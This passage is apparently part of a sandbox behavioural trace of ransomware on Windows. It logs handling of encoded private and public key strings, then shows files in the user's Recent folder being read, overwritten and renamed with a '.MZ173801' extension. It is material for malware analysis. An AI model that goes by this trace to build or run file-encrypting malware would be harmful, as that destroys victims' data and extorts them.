lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.077] GetCurrentThreadId () returned 0xab4 [0147.077] GetCurrentThreadId () returned 0xab4 [0147.077] GetCurrentThreadId () returned 0xab4 [0147.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.078] GetCurrentThreadId () returned 0xab4 [0147.078] GetCurrentThreadId () returned 0xab4 [0147.078] GetCurrentThreadId () returned 0xab4 [0147.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9qqaMDM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9qqamdm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.079] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.079] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.079] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x22f [0147.079] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.079] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x22f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x22f, lpOverlapped=0x0) returned 1 [0147.080] CloseHandle (hObject=0x280) returned 1 [0147.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9qqaMDM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9qqamdm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.081] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x22f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x22f, lpOverlapped=0x0) returned 1 [0147.081] CloseHandle (hObject=0x280) returned 1 [0147.082] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9qqaMDM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9qqamdm.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9qqaMDM.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9qqamdm.lnk.mz173801")) returned 1 [0147.083] GetCurrentThreadId () returned 0xab4 [0147.083] GetCurrentThreadId () returned 0xab4 [0147.083] GetCurrentThreadId () returned 0xab4 [0147.083] GetCurrentThreadId () returned 0xab4 [0147.083] GetCurrentThreadId () returned 0xab4 [0147.083] GetCurrentThreadId () returned 0xab4 [0147.083] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ca166e, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x53ca166e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x53ca166e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9rQNK dYKtJL.lnk", cAlternateFileName="9RQNKD~1.LNK")) returned 1 [0147.083] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.083] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9rQNK dYKtJL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9rqnk dyktjl.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ca166e, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x53ca166e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x53ca166e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x292)) returned 1 [0147.083] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9rQNK dYKtJL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9rqnk dyktjl.lnk")) returned 0x20 [0147.083] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9rQNK dYKtJL.lnk", dwFileAttributes=0x80) returned 1 [0147.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 